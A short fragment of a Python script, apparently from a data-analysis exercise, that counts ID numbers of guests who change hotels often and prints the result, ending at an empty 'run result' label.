frequent_changers.add(id_num)
break
return len(frequent_changers)
if __name__ == "__main__":
result = analyze_frequent_hotel_changers()
print(result)
运行结果:
